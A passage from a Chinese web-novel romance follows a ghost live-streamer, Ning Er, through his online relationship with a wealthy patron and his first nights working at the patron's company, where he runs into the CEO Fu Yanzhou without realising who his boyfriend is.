宁尔的心脏随着窗外的呜鸣升起的烟花、随着语音房里英文歌曲的鼓点、随着弹幕不停不住地飞快滑动, 一点一点恢复跳动。 好像从此刻开始,他不再怀疑这份没有见过面的网恋感情。 那舟先生呢? 他是从什么时候开始, 在不知道对方是人是鬼是美是丑时,认定了这就是他的喜欢? [小耳朵小耳朵,该你了该你了] [是不是太激动说不出话了] [你不用说小耳朵!你的小心思我们都看在眼里的!] 自从上次那么多人的直播里问过小耳朵这个问题,小耳朵当着粥老板的面回答“我不知道”以后,粉丝们都不敢再贸然让他回答这个问题了。 小朋友感情害羞细腻, 母胎solo到现在,面对直白的示爱,一时间不知道怎么回答很正常。 只要粥老板别误会就行。 幸好,粥老板并没有再追问。 12点一到,春风哥继续帮粥老板滚动发福袋红包, 粉丝们一边吃糖一边抢红包, 心满意足无欲无求。以为他们会照例下播,就看到小耳朵拍了拍银耳粥。 “要换个头像吗?” 在线人数十几万,他的每一句话都被大家听在耳里, 小耳朵的声音有些因为紧张平添了几分傲娇的意味。 “好啊。”粥老板的语气很宠溺。 [情头情头!!] [谁说咱们小耳朵不会啊] [这不是技巧,真情流露了] [哈哈哈哈网瘾少年小宝] [好甜再说一万次我都不腻] [换什么?要不来个默契大挑战吧!同时换能不能换到一样的] [这个难度有点儿太高了吧hhh,xql刚刚表白别乱搞] 宁尔看到他们说的这个“默契大挑战”,觉得还挺有意思,重复了一遍问这是干什么。 粉丝解释,就是两个人同时换头像,如果有相关重合的元素就算挑战成功。 宁尔犹豫了一下,舟先生在麦上问: “要这样玩吗?” 他好像不怕。 “可、可以……” 当事人答应了,流浪小皮自告奋勇上麦制定规则,3分钟时间,他倒数10秒两个人同时换头像。 宁尔看着倒计时,他现在的头像是一张有粉丝的群像头像,舟先生的还是那张在他出租屋前拍的月亮。 他们一起想换的头像,会是什么呢? 三分钟的倒计时在音乐和弹幕里转瞬即逝,流浪小皮喊到3的时候宁尔已经上传好了头像,等喊到“1”的时候,宁尔动了动手指,点击发布。 两个红色头像同时出现在了屏幕上。 亲亲小耳朵的是一朵玫瑰花礼物特效的截图。 银耳粥的是一朵插在玻璃瓶里的塑料玫瑰花。 各有各的土。 很难想象这两个土味头像背后是两个声音好听的大帅哥。 弹幕觉得又好笑又甜,一连串“哈甜哈甜哈甜”,宁尔也有些惊讶地看着舟先生的头像。 两人都下了播,宁尔给舟先生发消息: [我还以为,哥哥会用那夜的星空。] 银耳粥:[我也以为你会用那个。] 亲亲小耳朵:[那最后为什么又选了玫瑰呢?] 银耳粥:[感情的事情,好像没有为什么。] 宁尔嘴上虽然追问为什么,但心里其实早就觉得很甜了。 他强压下来嘴角,假装一本正经给银耳粥打字: [表白结束了,我现在是不是可以问哥哥一个问题了?] 顶层vip病房床上,傅宴舟眉眼舒展,嘴角泛起一抹温柔的笑意: [嗯,好。] 他大概能猜到,小耳朵要问什么了。 傅宴舟把“傅宴舟”三个字输入到了对话框里,手指轻轻敲打着床沿。 亲亲小耳朵的消息闪过来,傅宴舟的之间几乎毫不犹豫地触到了“发送”键上。 亲亲小耳朵:[哥哥,麦兜兜给你发的照片到底是什么照片呀?] “……” 傅宴舟默默把对话框里的字删掉。 照片肯定有问题。 宁尔翻身趴在床上,两只脚一晃一晃咬着牙问出这个问题。 刚刚下播后元之过来和他聊了两句,和宁尔说,这个粥老板不像是坏人。至少他今天的行为,网恋不亏。 宁尔问他,是怎么知道麦兜兜的事的。 陈元之告诉他,从他第一次被山屿骗钱的时候,他就留意这个人了,认识了一些“眼线”。 后来虽然山屿不蹦跶了,但这些人同样也认识2号麦兜兜。 麦兜兜性格不老实,粥哥回他两句就直接和这些人吹牛逼,最后反手被卖了。 “元之哥,你真的没有证据吗?” 陈元之沉默了。 其实刚刚和女主播对峙的时候,他也沉默了。 不止是元之,春风哥、舟先生,他们可能都能搞到证据。 但那个“证据”也许会再次伤害到或者让宁尔心里不舒服,他们都选择了闭口不提。 人类的友情…… 呜哇哇哇。 宁尔后知后觉感动地在心里掉眼泪。 感动过后宁尔回味出了不对劲。 [什么照片呢?嗯?] 手机那边的舟先生沉默了几秒: [宝宝,我没点开看。发誓。] [什么照片呢?]宁尔追问。 [不好看。或者说,让我没有看的欲望。哪怕没有你,我也不会看。] 傅宴舟见过的漂亮男孩太多了,业务能力极强脸蛋堪比明星的业界后辈,饭局上新晋爆火的娱乐圈明星。 一个语聊软件小主播蕾丝透视照片,落在傅宴舟眼里只有无聊。 几乎是看清小图的下一秒就删除拉黑一条龙了。 他不需要留任何脏东西当做证明什么的证据。 或许说,只有亲亲小耳朵那些故作性感的锁骨、喉结、小腿、膝盖照片,才能勾起傅宴舟身上那种久违的向外的欲望。 奇妙的,让人想要探索的。 [什么照片呢?]宁尔复读机。 傅宴舟看到他这么坚持不懈,想逗逗小孩,又怕他真吃醋了,最终如实回答: [一张黑色蕾丝透视装照片。] 亲亲小耳朵:[真的只是这样?] 银耳粥:[千真万确。] 亲亲小耳朵:[哥、哥哥真没多看?] 银耳粥:[不是没有多看。是没有看。] 亲亲小耳朵:[那、那还差不多。哼哼/哼哼/] 亲亲小耳朵:[那其他人呢?还有其他人给你发过吗?] 银耳粥:[没有。] 亲亲小耳朵:[哥哥保证?] 银耳粥:[用我的声誉保证。] 亲亲小耳朵:[行吧,信了。] 亲亲小耳朵:[哥哥你的身体怎么样啦?刚刚有没有心率加速不舒服呀?我好担心你呀~星星眼/星星眼/抱住/抱住/] “……”- 舟先生高调表白之后宁尔的语音房干净了不少。 没有面和心不和的2号,情侣头像和“挚爱守护”的显眼标志让新粉老粉都在猛猛磕cp,能赶上表白本来已经不算晚了,在加上知道小耳朵和粥老板还没面基过,就更期待了。 2号出了这样的事,宁尔能感觉到春风哥还是有点难受的,但他根本没时间多难过。 2号位空了,每天都有几百个主播找春风面试想要来这个语音房。 春风知道语音房今天的成就99%都来源于小耳朵,旁敲侧击了半天没敲出来,干脆直接问宁尔有没有跳槽去其他语音房,或者其他大的露脸直播平台。 宁尔告诉他,只要不是春风或其他队友赶他,他一定不会走。 自从实打实收到几千万之后,宁尔再也不抠门了。 勤俭节约很难,大手大脚学得很快。 他每天日落之后拉着陈元之出门,路过服装店让老板把墙上那一排都叉下来。 路过冰激凌店直接全部买了,把一整个桶抱在怀里挖着吃。 去看电影,影院放得是《狼人》,宁尔直接砸钱包场,让电影院把电影换成《吸血鬼之恋》。 舟先生最近还在住院,每天边住院边处理工作。宁尔能感觉到,舟先生的状态在一天天好起来。 宁尔把自己在人类世界第一次做过的、玩过的每一件新鲜事儿都分享给舟先生,有时候他也会想这样是不是有点太没见过世面了。 甚至有点、有点穷酸味。 但很快他就又忍不住分享过去了。 舟先生对于他的每个分享都会认真回应,甚至教他怎么能更好玩。 直到有一天开播前,宁尔告诉舟先生,他要去做一份新的兼职。 “兼职?” 舟先生沉默了几秒,语气中饶有兴趣: “什么行业?想学习新的技能,还是积累经验?” 他尽量克制专业术语,用通俗的话和这个忽然搞新工作的小朋友聊天。 宁尔不好意思地挠挠头: “都、都不是啦。就是、就是体验生活,对,体验生活。” 他提前准备好的答案。 什么提升技能、赚钱,听起来都很假。 “行业的话,我也不知道……反正我就是去干干杂活,不、不算难。” “在A市?哪个区?” “就是市中心那些大楼附近。” 小耳朵好像暂时不太好意思告诉他那么详细。 “是你那个在外工作的朋友推荐的么?” “哥哥好聪明!” 舟先生知道他有一个一起直播的朋友,还有一个在外工作的朋友。竟然一下就猜了个大概。 舟先生语气温和低沉: “那你要注意安全,如果受什么委屈,及时告诉哥哥。” 傅宴舟并没有阻止小耳朵。 他才19岁,他的人生有无限的可能。 想去玩什么,做什么都可以。 什么起点都可以。 毕竟,他的背后的资本是傅宴舟。 傅宴舟挂了电话,肖特助敲门进来汇报今日工作。 傅宴舟一一给了口头批示,肖特助说就他的恢复情况,如果想出院,半个月就可以。 毕竟蒋昀也会安排一个全面的私人医疗团队进驻公司24小时检测傅宴舟的身体状况。 只不过脸上的伤,最快也需要一个月的手术和恢复。 肖特助汇报到最后一件事时语气加重了点: “之前救过您的那两个小孩,一个提出要53万7千元,一个提出什么物质都不要,只想进盛景做一个实习生。” “要钱那位我打了十倍过去;要进盛景那位……他说白天还有其他工作,只能上夜班,优势是力气大,拟为其设立设专职岗位满足需求。” 盛景从前只为岗位招人,第一次为人设岗。 傅宴舟听着这两条要求,甚至已经忽略了那个有零有整的蚊子大开口,蹙了蹙眉: “我记得你说过,他们初中学历,无业?” “是的。” 绷带下傅宴舟的脸色晦暗不明: “什么都不要,只要进盛景,什么岗都行?” “是的傅总。但必须是盛景总部,也就是……必须和您一栋办公楼。” 傅宴舟若有所思沉默了一会儿: “物质补偿你看着办。至于岗位……” 他指尖轻叩扶手: “最好这辈子都别让我碰见。”—— 作者有话说: 傅宴舟你自己说的哦 第48章 他见到了活的傅宴舟!…… 宁尔幸福享受了几天的网恋生活, 都快忘记自己救过傅宴舟这件事时,靳伟忽然把他和陈元之叫过去,召开了一个严肃的“家庭会议”。 靳伟说, 傅总那边查到了他们是靳伟的朋友, 让他代劳帮忙问询二位见义勇为的少年有什么愿望, 或者,想要什么酬谢。 靳伟话音刚落, 就和陈元之一起扭头看向宁尔。 他们都知道宁尔有多想要那块傅家珍藏的蓝宝石。 一年前的天方夜谭, 现在仿佛嘴巴一动就能得到了…… 宁尔舔了舔嘴唇, 颤着声音: “可、可以吗?” “不可以。”靳伟沉声否决。 “……” “为什么?” “你没听过渔夫和金鱼的故事吗?” 宁尔摇摇头。 靳伟锁着眉头, 神色严肃: “虽然钱对傅总来说不算什么, 但十亿也不是个小数目,更何况是有收藏价值和传承的蓝宝石。” “我虽然不懂有钱人大老板的想法, 但如果有人直接这么要,我八成不会给。” 陈元之眉毛动了动: “我也不给。” 靳伟继续说: “朱总因为这事儿专门找我谈过,我能听出来他的意思,再三打探我傅总受伤这事儿和你们的确是巧合。他暗示我傅总心思深沉,说哪怕有什么想法最好也聪明点儿。” 靳伟和陈元之比宁尔聪明, 朱总又比靳伟聪明。 听他们的,总应该没错。 宁尔谄媚地给靳伟倒了一杯手边的冰红茶: “伟哥,喝茶~” “伟哥,那你说,我应该怎么办呀?” 靳伟故作深沉地沉默了一会儿: “就非得要那颗蓝宝石?” 宁尔认真地点了点头。 “你去盛景工作吧。”靳伟给了宁尔一个答案。 他根据自己的经验告诉宁尔: “当初我家里找到朱总想找个工作的时候, 朱总烦我烦得恨不得砸烟灰缸。现在给他开车久了, 就是嘴硬心软,也给我不少方便。” “再大的老板也是人,相处了认识了, 要求就没那么突兀了。” 宁尔觉得元之说得很有道理。 他脑子里浮现出一个画面,他给傅宴舟开车,天天开,猛猛开,直到有一天和他说“傅总请问我能不能借一下您的蓝宝石”,傅宴舟大手一挥“小宁啊,你需要就自己拿去用”。 宁尔yy地满脸傻笑,转念一想: “可是伟哥,我不会开车……” 靳伟翻了他一个白眼: “……” 算了。 “你要什么?”靳伟转头问陈元之。 陈元之两只手抱着脑袋,大喇喇坐在沙发上,打了个哈欠: “算了,不要了。不稀罕。” “你又抽什么风?” 陈元之耸耸肩,假装不经意: “害,只提一个要求,成功的可能性更大点。” 靳伟愣了一下反应过来: “傅总没那么小气。” “哦,如果可以的话,帮我要53万7千吧。” 陈元之沉默了一下: “还差这些,家里的债就都还清了。” 靳伟闷声“嗯”了一声,嗯完之后从口袋里掏出一张硬卡片扔在桌子上给宁尔: “给你的。别出去刷,应付公司。” 宁尔好奇地拿起卡片一看,竟然是一张人类的身份证!!! 嗷呜! 鬼有身份证了! 证件上是他戴着黑框眼镜的照片,名字叫真的叫“宁尔”,地址是一个他没听过的村子。 宁尔激动地差点儿跳起来,恨不得当当场给靳伟哥跳一个感谢舞。 感谢地话说了一大顿,宁尔把那张身份证紧紧按在手心,睁大眼睛: “伟哥,你、你怎么搞到的?” “假的呗。所以让你别刷,实在有人要看亮一下就行。” 假的? 宁尔转头看陈元之,元之嗤笑了一声: “别小看你伟哥。这么多年社会不是白混的。”- 今天是宁尔上班的第一天。 他没用跑的,而是像人类的大多数打工人一样,乘坐落日后的地铁去上班。 晚高峰地铁上人很多,宁尔拽紧吊环,内心随着车厢一起晃动忐忑。 他穿了一条白色裤子和一件白色衬衫,搭配了一件卡其色外套和同款领带。 更准确地说是陈元之帮他搭配的。 元之说这套穿搭既不像西装一样呆板沉闷,也不特别随意,正好能展示出他青春活力的年轻风采。 宁尔照例戴上了那个大大的黑框眼镜,元之还贴心地送了他一副黑色美瞳。 他说宁尔的瞳色太张扬了,还是低调点好。 和他联系的对接人并没有告诉宁尔具体会做什么“工作”,他不会开车,就不能当司机。 那么,他会当傅总的助理?秘书?文员?就像小猫咪和舟先生那样? 宁尔心跳得很快,下了地铁之后站在盛景大厦前,仰头看着灯光闪烁的高楼大厦,忐忑地拨通对接人的电话。 很快,宁尔的脖子上被套了一张卡片,带进了电梯按下97层。 工卡。 宁尔有些不自觉地摸着脖子上套着的这根绳子,感觉脖子痒痒的。 电梯到达,小姐姐礼貌地带他到了一间屋子,宁尔小心翼翼地敲门,诺大严肃的办公室里面很快迎面走出一个中年男人: “宁尔对吧?你好,我是傅总的助理,可以叫我肖特助。” 他伸出手要握手,宁尔赶忙克制住紧张,在衣服上擦了擦手心里不存在的汗: “肖、肖特助您好。” 少年青涩胆怯的神态让肖特助愣了一下,很难把这个瘦弱白净的男孩和干翻几个穷凶极恶的亡命徒联系起来。 肖特助浅握了一下,松开手: “请坐。” 宁尔被他指引到棕色的皮沙发上,屁股跨了个边边小心翼翼坐下。 这个办公室好大好严肃,和宁尔之前工作的保安队办公室完全不一样。 空气中仿佛漂浮着纸张油墨的味道,宁尔都不敢多看。 “宁先生不必紧张,关于入职的相关注意事项Emma应该都给您介绍过了,相信您一定可以胜任。我代表傅总和全公司上下真诚地感谢宁先生的见义勇为,等傅总身体恢复好些,有机会一定亲自感谢您。” 宁尔赶忙摆摆手: “没、没事。傅总、总裁身体重要。” 肖特助礼貌地笑了笑: “多谢宁先生,您真是个好人。这是我的私人联系方式,如有紧急情况,可以直接联系我。” 大集团总部行政等级森严职责分明,肖特助此举是给了他私人特权。 “还有什么要问我的吗?”肖特助边说边起身,丝毫没有要回答的意思。 宁尔被夸地有些不好意思挠挠头,羞赧的笑了笑,也站起来,抬头天真地问: “肖特助,请问傅总的办公室在几层呀?” 肖特助眉毛不动声色地挑了一下: “楼上,98层。” “那我的办公室呢?” “负2层。” “……” 宁尔被硬生生送上电梯,在离傅宴舟最近的地方一路向下。 宁尔在电梯里轻轻叹了口气。 一定是因为他说过自己不喜欢见阳光,傅宴舟总裁特地给他安排在了地下。 知恩图报的,人。 盛景集团的负二层并不憋闷,和刚刚楼上的装修风格很像,空气中也没有任何潮湿和腐朽的味道。 负二层没有很多工区,宁尔被带到一间非常独立安静的屋子前,先去隔壁见了见他的“同事”。 同事是个戴着眼镜的男士,比宁尔大一些,看到他来了,站起来礼貌地给宁尔介绍了一会儿他的工作。 他介绍地很有耐心,宁尔一会儿就听懂了。 每个用夹子夹成一叠的纸,叫做一份文件。每份文件上都贴了不同的颜色的标签。 宁尔的任务就是,给颜色不同的文件分类。 “只、只有这些吗?” 宁尔忍不住追问了一句。 同事张哥意义不明地看了他一眼,语气幽幽: “先做这些,后面再学别的。” “对了,咱们公司有规定,不能拍照。你最好也别偷偷拍,免得被追责。” “……好。” 张哥话不多,宁尔和他道了谢之后回到他自己的屋子关上门,屋子里有一张和张哥一样的桌子。 工位。 宁尔好奇地东看看西看看,不知道是不是他的错觉,直到公司里越来越安静,张哥也起来要下班回家时,才觉得有些无聊。 张哥一走,整间办公室彻底安静下来,宁尔兴致缺缺地趴在桌子上,看着那堆花花绿绿的“文件”。 98层。 负二层。 100层的距离。 是男人就下一百层。 100层的距离,他得多久才能见到傅宴舟,和他“认识”呢。 宁尔打开手机,给靳伟发了一条消息,告诉他自己的办公室在负二层。 从今天起,他和靳伟也是同事啦! 靳伟没回复。 可能在开车。 宁尔把手机放在一旁,干脆先给那些文件按照颜色分类。 不到一会儿他就分完了,一看时间,还不到一小时。 张哥说了,反正他的夜班,只要在上班时间内完成工作,剩下的时间干什么都行。 直播都行。 距离10点还有一会儿距离,宁尔先给舟先生发了一长条语音消息,添油加醋告诉舟先生自己第一天上班的见闻。 舟先生很快回了消息: [宝宝这么快就适应了?好厉害。] [拍拍工位,好奇。] [不行的哥哥。我们公司规定不可以拍照。] 银耳粥:[?] [什么公司有这样的规定?正规么?要不要哥哥派人去看看?] 宁尔连忙打字:[正规的正规的。] [哥哥] 银耳粥:[嗯?] 亲亲小耳朵:[我想在公司里逛逛,可又害怕走到不该走的地方。] 舟先生耐心告诉他: [只要不随意进别人的办公室或者会议室,没有什么地方不能走。] [好……] [宝宝,你饿吗?] 亲亲小耳朵:[好像有点,怎么了?] 银耳粥:[每个公司的一层或者负一层可能会有便利店,你可以去买点东西吃。] 宁尔眼睛一亮,这个主意好! 既能到处逛逛,也不会显得奇怪尴尬。 宁尔收起手机,小心翼翼地推开门走出自己的屋子。 快晚上十点,公司里几乎没什么人了。 宁尔顺利地摸到一楼,果然在角落里找到一个便利店。他买了两条糖果装在口袋里,又饶了一大圈走步梯回地下。 路过负一层的时候宁尔闻到了咖啡的香味,他刚好有些困,跟着香味走过去,就发现一台机器,上面写着各种各样的咖啡。 可以做咖啡的机器? 这个看起来还有点难,宁尔看着“1、2、3”的步骤操作,拿了一个纸杯,小心翼翼地在机器上点着。 机器滋滋地响了几下,竟然真的流出了一杯咖啡。 闻着好香啊。 等会儿回去他要直播告诉大家,他会自己做咖啡了。 咖啡是热的,宁尔吹了半天,等到凉下来之后才美汁汁地端着咖啡往出走。 负一层晚上有些黑,宁尔出来之后有些搞不清方向。 他转了半天都找不到步梯,昏暗的环境让宁尔有些害怕,他凭借记忆里的方向往电梯那边走,终于找到了门。 宁尔松了一口气,刚刚拉开门走到电梯间,一转身险些撞到一个人的身上。 宁尔还没来得及躲开,一个人仿佛生怕他撞到人,伸手从旁边稍微用力一推。 这么一推一晃,宁尔手里的咖啡险些洒到他撞得那个人身上,幸亏他反应足够快转了手腕的方向。 咖啡都洒到了自己身上。 褐色的液体在了衬衫和领带上滴答,宁尔浑身一缩,站稳后感觉到了脑门上的压迫感,下意识抬头,一张戴着黑色口罩的脸出现了自己面前。 男人身形高大,一身剪裁考究的黑色西装衬得他气场凛冽。 黑色口罩遮住了大半张脸,只露出高挺的鼻梁和那双冷峻幽深的眼。 两人距离极近,视线相撞的瞬间,宁尔的心脏后知后觉地狂跳起来。 ——傅宴舟! 活的傅宴舟。 他心心念念的蓝宝石的主人,掌握着他鬼生回家路的人。 傅宴舟总裁的样貌比照片上更加凌厉,高出宁尔一个头不止,周身散发的压迫感让宁尔下意识后退了半步。 一旁的秘书快步上前,语气紧张:“傅总,您没事吧?” 傅宴舟伸手轻挥了一下,示意自己无碍。 宁尔捏着空咖啡杯,怔怔地看着他,直到秘书上下打量他一番,和脑子里的画像匹配了一遍恍然道: “你是之前救过傅总的那位……?” 听到他问自己,宁尔才讷讷地点了点头。 “你怎么会在这儿?”秘书问。 “我、我迷路了……” 宁尔说完这句话时,傅宴舟的头几不可查地偏转了一点。 “盛景布局复杂,你刚来,的确容易迷路。你先去一楼,我叫人带你回办公室。”秘书语气似乎客气了一点,快速安排着。 回、回办公室吗…… 他好不容易见到活的傅宴舟,却连一句“傅总好”还没说…… 负2层、98层。 他不会有每天见到傅宴舟的机会,现在人就在他面前了,机会转瞬即逝…… 宁尔嘴巴轻轻张了张,胸膛因为呼吸紧张而轻微起伏着。 “衣服湿了,派车送他回家,明天再来上班。”傅宴舟突然开口。 低沉的声音隔着口罩传来,宁尔脑子“嗡”的一声,猛地抬头看向他。 傅宴舟看着少年苍□□致的脸上那道直白的眼神。 大晚上拿着的热美式,被污渍弄湿不得不扯开的领带,听到要离开欲言又止的焦急样子—— 傅宴舟眼底的寒意更深了一些。 “那天的事,我之后会正式致谢。” “我还有事,你听刘秘书安排。” 傅宴舟的声音和他整个人散发出来的压迫感一样冰冷。 宁尔终于意识到自己挡在了电梯门口,低着头说了一声“不、不客气傅总”,匆忙移动脚步从旁边过去。 和傅宴舟擦肩而过的同时,一张卡片应声掉落在地上。 “等等。” 少年停下脚步,傅宴舟作势弯腰,刘秘书赶紧抢先一步捡起来递过去。 傅宴舟用双指夹住那张身份证,暼见上面的名字,反手把正面朝上,转身,缓步走到宁尔面前,高大的身影投下一片阴影,几乎将宁尔整个人笼罩其中。 “身份证很重要,别随便掉了。”—— 作者有话说: 第49章 我劝你还是别白费力气了…… 傅宴舟看着少年快步离开的背影, 直到消失在走廊尽头。 秘书按开电梯,傅宴舟踏步进去,不经意道: “第几个了?” 秘书心照不宣地苦笑了一下: “几十个了吧。” 从接管盛景在圈内崭露头角以来, 想往这个霸总身上贴的人数都数不过来。 也不知道从哪儿学的劣质手段制造偶遇, 要么端杯酒, 要么拿块小蛋糕,假装撞到傅宴舟身上, 一边惊慌失措道歉, 一边邀请傅宴舟要不要去房间里换一套。 傅宴舟年轻时候经验不足, 跟着去换衣服, 房间里除了没有衣服外, 还有没穿衣服的人。 后来再小心,也会被偶尔撞个一次两次。 直到有一次宴会上, 傅柏替他抓住那个假装撞上的人,当着所有人面整治了一番,事儿被添油加醋传出去,这个手法才慢慢消停。 今天这出,倒是很久没见了。 “傅总, 您真没事儿吧?” 刘秘书仍然心有余悸,傅总身上大大小小总共四处刀伤,还没完全愈合,要真被实打实这么撞一下,不敢想象后果。 傅宴舟摇头: “告诉肖特助, 有空多关照他一点, 别再走错了。” 刘秘书看着傅宴舟眼底流露出的寒意,心下会意: “好的,傅总。” 没有任何职场经验的小男孩救了A市首富, 一分钱都不要,偏偏要来盛景做一个底层职员,做一些最简单的活。 果然,第一天入职就迫不及待撞过来了- 宁尔第一天刚上班就下了班。 直到被刘秘书派车送回家时候还是懵懵的。 回来刚好遇到陈元之,看到宁尔领带解开,白衬衫上满是咖啡渍,赶忙上前来: “我靠,怎么回事儿,是不是公司里有人欺负你?” 陈元之一脸要去干仗打人的架势,宁尔赶忙拉住他: “没有没有元之,是我自己差点撞到人,才把咖啡洒在自己衣服上的。” “什么不小心,万一那人就是故意撞你呢?我看电视剧老这么演。” 宁尔苦笑了一下: “真的不是元之,因为我差点撞到的是傅宴舟总裁。” “傅宴舟?那他认识你了?说上话了吗?” 按照他们三个的计划,宁尔认识傅宴舟,刷脸刷存在感是第一步。 宁尔深深地叹了口气,摇了摇头。 “那他知道你叫什么了吗?” 宁尔又摇摇头。 “这么高冷?这就是霸道总裁吗?”陈元之也没认识过这种层次的人,也想象不出来是什么样的。 宁尔又叹了口气,回到了自己的房间。 坐在桌子前缓了一会儿才缓过劲儿。 他觉得,认识傅宴舟,不断刷好感,从而拿到蓝宝石这个方式也太难了吧!! 回想起刚刚傅总浑身散发的那种压迫感,宁尔忍不住打了个冷抖。 宁尔在人类世界打工这么久,不是没有见过凶的老板。 可是哪怕他们再不耐烦,甚至骂骂咧咧,动不动就扣工资,都没有傅总那种客气但令人不寒而栗的疏离感。 他那双幽黑的眼睛,仿佛能无声之间洞悉一切,能看透每一个动作背后的小心思,令宁尔心生畏惧。 明明就站在对面,却一句套近乎的话都说不出来。 最过分的、最过分的是…… 他的声音还和舟先生很像!!! 啊啊啊啊。 虽然隔着口罩声音有些发闷,宁尔还是能听出来,他的声音和舟先生很像。 只是语气不同。 舟先生有多温柔,傅总就有多冰冷。 后来他说宁尔的那两句,总让宁尔有一种是舟先生在这么冷漠训话的感觉。 明明都叫舟,都是霸总,怎么会差别这么大…… 宁尔在心里暗戳戳埋下了一颗对傅宴舟敬而远之的种子。 反正,他不能,也不想再去贸然刷什么好感了。 洗澡换衣服误了会儿时间,十点过了一会儿宁尔才连进语音房。 舟先生问他是不是出了什么事,有没有买到零食。 宁尔不想让他担心,没有说差点撞到总裁的事: [买到啦!一层真的有便利店,我买了糖果,很甜。] [什么味道的?] [白桃味儿,哥哥吃过吗?] [没有。] 宁尔愣了一下,可怜的舟先生,没喝过奶茶,没吃过糖果。 [那哥哥想吃吗?你告诉我一个地址,我外卖给你?] [我确实想尝尝白桃糖果的味道。] 舟先生回复。 宁尔正要打字,就看到他的消息: [但我又不喜欢吃太甜,怎么办呢,宝宝?] 宁尔脸唰地红起来,脑子里瞬间浮现那天舟先生亲他嘴巴,交换鼻息间仿佛对彼此唇间品尝的感觉。 [捂脸/捂脸/爬走/爬走/] 银耳粥:“看来宝宝猜到怎么尝了。” 他还在他直播时候发语音。 低沉的嗓音里是藏不住的坏笑。 舟先生这次回来之后再也没提过要出差,每天告诉他身体的恢复情况,宁尔有一种预感,等他身体好了,他们这次一定会见面了。 见面之后会发生什么,就不太知道了……- 接下来的上班生活就算是有惊无险了。 自从撞过傅总的第二天,肖特助就给他发了一份整个公司的平面地图。 告诉他别再迷路了。 傅总虽然凶了点,但肖特助人还是挺好的。 他学习人类的工作不算慢,几天就不用只做那些简单的分类颜色的工作了。 他每天太阳一落山就来上班,基本10点前就能完成所有工作。再直播两个小时,和舟先生腻歪一会儿,等到半夜时候再跑到录音室录会儿定制语音。 宁尔到现在也没有告诉过舟先生他在盛景工作,舟先生也没再追问。 反正不知道猴年马月才能认识傅总、拿到蓝宝石,宁尔干脆就把这份工作当做他在人类世界的另一份责任来完成了。 就先这样做着,说不定呢。 张哥每天会给他新的任务,宁尔虽然也会做错,但张哥并不会骂他,如果宁尔问了,就告诉他怎么改正。 慢慢地,宁尔发现张哥好像话也不少,只不过一开始不熟,再加上有些戒备,才故意沉默寡言。 张哥偷偷问过他是怎么进盛景的,宁尔想不到撒谎的理由,老实回答是他见义勇为帮过傅总。 张哥很惊讶,说原来就是他啊。 他说他们都听到了公司内部的小道消息,说当时傅总被亡命徒追着捅刀子,情况非常凶险,宁尔这么瘦弱,真的能救傅总吗? 宁尔不好意思地笑笑,说只是巧合。 张哥不敢再多猜测为什么宁尔都救过傅总了,却仍旧在这里做份最基础的工作,只是天然地对宁尔有些好感,更照顾他一些。 有时候宁尔去上班的时候张哥还没走,也会带他去食堂一起吃个夜宵。 一次两人刚出电梯,迎面碰上了肖特助。 张哥一瞬间紧张起来,发挥天然地牛马属性点头后退。 宁尔倒是没在意,像在网上直播一样大方打招呼: “肖特助好。” 肖特助朝他俩点点头,问询了几句宁尔最近工作怎么样就也先走了。 肖特助一走张哥就悄悄问宁尔: “你和肖特助很熟吗?” 宁尔点点头,又摇摇头: “也不算熟,只是肖特助说过让我有事可以直接联系他。” “我去,牛啊!” 宁尔感觉到张哥挺害怕肖特助,就问: “肖特助……很让人害怕吗?很凶吗?” “那倒不是。肖特助人挺好的,大家怕他是因为怕傅总,毕竟他是傅总最重要的心腹,也是最核心的特助位置。” 宁尔哦了一声,原来他们也都害怕傅总。 张哥又压低点儿声音: “不过,你知道肖特助本名是什么吗?” 宁尔摇摇头: “什么?” 张哥左看看右看看,把声音压地更低了点: “肖茂。” “什么?” “肖茂!” 宁尔和张哥对视了一眼,两人都瞪着眼睛,用力憋着笑。 噗…… 宁尔没忍住,先笑了出来。 张哥也跟着偷笑: “你也觉得好笑吧?很多人私下都偷偷叫他‘小猫’。” 哈哈哈哈哈。 一个快五十岁的总裁特助,外号叫小猫。 哈哈哈哈哈。 宁尔和张哥有一种蛐蛐够领导的满足感,还没笑够,肖特助忽然有事儿又折回来了,吓得两个人赶紧低头,一个拿着一根香蕉上楼了- 12月初A市天气骤冷,宁尔从网上下单了几套呢子大衣。 某宝已经知道了他的喜好,界面上给他推的所有东西都是绿色,可是绿色大衣实在太丑了,宁尔最终还是淘到了一件绿色羽绒服。 自从舟先生表白那天砸出几千万之后,他就取代了乘风破浪等人,成为了整个缘来的top榜一。 宁尔也当之无愧,成为年度的涨粉新星。 因此,他们俩都在缘来年度盛典的邀请之列。 不过宁尔觉得舟先生应该不会去。 他的身体还没完全恢复好,再加上“身份”与众不同,应该不会这么高调张扬。 宁尔问了舟先生,果然对方说到时候看时间安排。 哪怕不能亲自到场,也一定会给宁尔捧足场面。 虽然在意料之中,但宁尔还是有点小失落,不过他也没有表现出来。 哪怕和舟先生还没见过面,他们的网恋程度几乎已经算老夫老妻了,他足够相信舟先生本人有多么想到场。 缘来那边要走了宁尔的身材尺寸,又给他发了好多套礼物和妆造参考图过来让他选择。 看着那些价格不菲的西装穿搭和帅气的模特图,陈元之比宁尔还要激动: “简直是小明星待遇啊!小耳朵,我保证等你露过脸绝对能比现在还红,说不定当场就有经济公司叫你去拍电影电视剧。” “拍电影和电视剧很厉害吗?”宁尔眼睛亮亮的。 “当然了,明星啊,赚钱又多又快。” “比我现在还快吗?” 宁尔一双绿绿的大眼睛单纯、清澈。 陈元之:“……” “可能还真没有。” 陈元之:“对了,我最近要离开A市几天,你俩照顾好自己。” “离开?你要去哪?”宁尔莫名有些紧张。 自从经历了那些事后,他对亲人朋友的离开都有些下意识地紧张。 陈元之一挑眉: “找富婆姐姐奔现去呗,说不定还能一起看到第一场雪。” “哇~” 宁尔眼神中有些羡慕。 宁尔知道,虽然元之和傅宴舟总裁要的事53万7千块,但对方给了他十倍。 除了替家里还债之外,元之现在也并不缺钱了。 那他还愿意坚持和富婆姐姐见面,就不止是像他说的那样,只是为了钱。 宁尔有样学样,语重心长嘱咐了他几句,就带好钥匙出门了。 今天的乌云很重,地铁到半路就下起了大雨。 宁尔带了伞,从地铁出来直接进了公司。 他迎面碰到张哥匆忙收拾好东西准备回家: “小宁,我给你发消息你没看到啊?” 宁尔边说没有边从口袋里拿出手机: “地铁里太挤我没看到……” 果然,手机上是张哥的未读消息,说今天有大雨预警,让他今晚干脆别来上班了。 “没事张哥,我都来了。” “那你等雨停了就赶紧回家啊。” “好的张哥。” 